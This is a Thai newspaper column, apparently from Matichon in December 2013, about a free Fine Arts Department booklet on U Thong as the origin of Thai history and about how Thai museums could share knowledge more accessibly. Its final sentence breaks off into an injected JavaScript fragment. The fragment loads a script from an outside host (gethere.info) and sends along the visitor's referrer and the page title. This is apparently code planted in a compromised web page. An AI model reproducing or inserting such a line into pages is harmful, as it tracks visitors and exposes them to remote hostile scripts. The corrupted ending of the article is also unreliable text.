มติชนรายวัน ฉบับประจำวันจันทร์ที่ 2 ธันวาคม 2556

 

แจกฟรี หนังสืออู่ทอง ต้นทางไทย

          อู่ทอง ต้นทางประวัติศาสตร์ไทย เรียกสั้นๆว่า อู่ทอง ต้นทางไทย เป็นหนังสือเล่มเล็กๆ บางๆ มี 80 หน้า สอดสีทั้งเล่ม กรมศิลปากรพิมพ์แจกเพื่อแบ่งปันความรู้สู่ชุมชน

          เอนก สีหามาตย์ อธิบดีฯ บอกว่าแจกฟรี ส่งฟรี ถ้าอยากได้ให้ติดต่อที่พิพิธภัณฑสถานแห่งชาติ อู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี) โทรศัพท์            0 3555 1021

          อู่ทอง ต้นทางประวัติศาสตร์ไทย หมายถึง อู่ทอง มีชุมชนบ้านเมือง 2,000 ปีมาแล้ว เก่าสุดในภาคกลาง แล้วขยายตัวเติบโตก้าวหน้าสืบเป็นประเทศไทย

          เอกสารโบราณเรียกดินแดนอู่ทองว่าสุวรรณภูมิ ต่อมามีรัฐสุพรรณภูมิ หรือสยาม ที่ได้ร่วมกับรัฐอโยธยา-ละโว้ สถาปนากรุงศรีอยุธยา เป็นราชอาณาจักรสยามแห่งแรก แล้วสืบเป็นกรุงธนบุรี เป็นกรุงรัตนโกสินทร์ จนปัจจุบัน เป็นประเทศไทย

          ทุกวันนี้อู่ทองเป็นท้องถิ่นหนึ่งใน จ. สุพรรณบุรี ดังนั้น ความเป็นมาของอู่ทองเป็นประวัติศาสตร์ท้องถิ่น คือ ประวัติศาสตร์สังคมส่วนที่เป็นท้องถิ่น(ซึ่งขาดหายไป)ของประวัติศาสตร์แห่งชาติ

          อู่ทอง ต้นทางไทยเล่มนี้ ผมเขียนแบ่งปันข้อมูลข่าวสารเพื่อคนทั่วไป อ่านง่ายๆ สบายมากๆ ไม่ต้องเคร่งและเครียด อ่านแล้วโยนทิ้งก็ได้ ไม่ต้องเสียดาย เพราะไม่ใช่ตำรับตำรา

          โดยเรียบเรียงจากข้อมูลวิชาการของนักปราชญ์ราชบัณฑิตครูบาอาจารย์ทั้งหลายที่ค้นคว้าศึกษาวิจัยไว้นานแล้ว แต่เป็นงานวิชาการอ่านยากเกิน จนคนทั่วไปเข้าไม่ถึง

          ที่ทำให้ฟรีๆ ก็เพื่อสนับสนุนสิ่งดีๆของกรมศิลปากรที่มีต่อสังคมโดยรวม และยินดีรับใช้อีกเรื่อยๆ ถ้ายังต้องการ

 

ท้องถิ่นนิยมแบบหลงทาง

          สมเด็จฯ กรมพระยาดำรงราชานุภาพ เริ่มศึกษาแล้วเสนอความรู้เรื่องเมืองอู่ทองเป็นครั้งแรกตั้งแต่สมัย ร.5 พ.ศ. 2448

          หลัง พ.ศ. 2500 นักปราชญ์หลายท่านทั้งไทยและต่างประเทศ ศึกษาเรื่องเมืองอู่ทองอย่างต่อเนื่อง เช่น จากกรมศิลปากร (มี อ. ธนิต อยู่โพธิ์, อ. มานิต วัลลิโภดม, อ. ชิน อยู่ดี, ฯลฯ) จากสุพรรณ (คือ อ. มนัส โอภากุล), จากธรรมศาสตร์ (คือ อ. สืบแสง พรหมบุญ), จากฝรั่งเศส (คือ ชอง บวสเซอลิเยร์) และจาก ม.ศิลปากร (คือ ศ. ม.จ.สุภัทรดิศ ดิศกุล), ฯลฯ

          อู่ทอง เป็นแหล่งเรียนรู้ไม่เฉพาะของคนท้องถิ่นอู่ทอง แต่กว้างถึงระดับประเทศและระดับนานาชาติ เพราะเป็นแหล่งประวัติศาสตร์โบราณคดีที่สำคัญของภูมิภาคอาเซียน

          ท้องถิ่นนิยมใช้การไม่ได้ในเรื่องการศึกษาวิจัยความรู้ ฉะนั้นอย่าหลงทาง“คบคนพาล พาลพาไปหาผิด” ปิดกั้นความรู้จากคนนอกท้องถิ่น เพราะในหนทางที่ถูกต้องตามหลักสากลโลกแล้วต้องชักชวนอย่างอ่อนน้อมให้คนทั้งโลกมาร่วมกันศึกษาอู่ทอง ถึงจะดีวิเศษ

 

อ่านง่าย สบายมาก

          ญี่ปุ่น, อเมริกา, ยุโรป ผลิตหนังสืออ่านง่าย สบายมาก จากวิชาการทุกสาขาทุกเรื่อง เพื่อคนทั่วไปเข้าถึงวิชาการนั้นๆ แล้วเข้าใจได้ ไม่ลำบากลำบน (นี่ขนาดมาตรฐานการศึกษาล้วนสูงลิบกว่าไทย) โดยเฉพาะญี่ปุ่นทำเป็นหนังสือการ์ตูนไปเลยก็มี แล้วดีด้วย

          มิวเซียมในสากลโลก เป็นแหล่งกิจกรรมแบ่งปันข้อมูลข่าวสารความรู้เข้าถึงคนทุกระดับ แล้วพิมพ์หนังสือและเอกสารทั้งระดับวิชาการลุ่มลึกและระดับอ่านง่าย สบายมาก อย่างสม่ำเสมอ เช่น บริติช มิวเซียม (ในลอนดอน อังกฤษ), สมิธโซเนียน (ในกรุงวอชิงตัน ดี.ซี. สหรัฐ), ฯลฯ

          ส่งผลให้มิวเซียมมีทั้งคุณค่าและมูลค่า เป็นแหล่งเรียนรู้อย่างรื่นรมย์ แล้วเป็นแหล่งท่องเที่ยวอย่างร่มเย็นด้วย จึงมีคนไปแล้วไปอีก ไม่เบื่อ

          รัฐไทยต้องสนับสนุนให้พิพิธภัณฑ์ของกรมศิลปากรเป็นแหล่งกิจกรรมแบ่งปันความรู้และแหล่งท่องเที่ยวอย่างสม่ำเสมอ จึงจะสมควร

          กรมศิลปากรก็ต้องพัฒนากิจการพิพิธภัณฑ์ให้ทันสมัย อย่ามัวแต่หลงอำนาจ“ห้ามถ่ายรูป”อยู่แค่นั้น ด้วยวิธีคิดคร่ำครึคร่ำคร่าย้อนยุคไปอยู่สมัยล่าอาณานิคม

          ขณะเดียวกันต้องฝึกปรือและแสวงหาคนเขียนหนังสือ แล้วผลิตเอกสารอ่านง่ายให้มากและกว้างขวางกว่าที่เคยทำ โดยไม่หลงผิดว่าต้องเขียนให้อ่านยากๆด้วยภาษาวิชาการลุ่มลึก แต่ไม่รู้เรื่อง ถึงจะได้ชื่อว่าเป็นนักวิชาการชั้นเยี่ยม

          ต้องเคลื่อนไหวคิดค้นสร้างสรรค์สิ่งก้าวหน้ากว่านี้ตลอดเวลา หยุดนิ่งไม่ได้s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;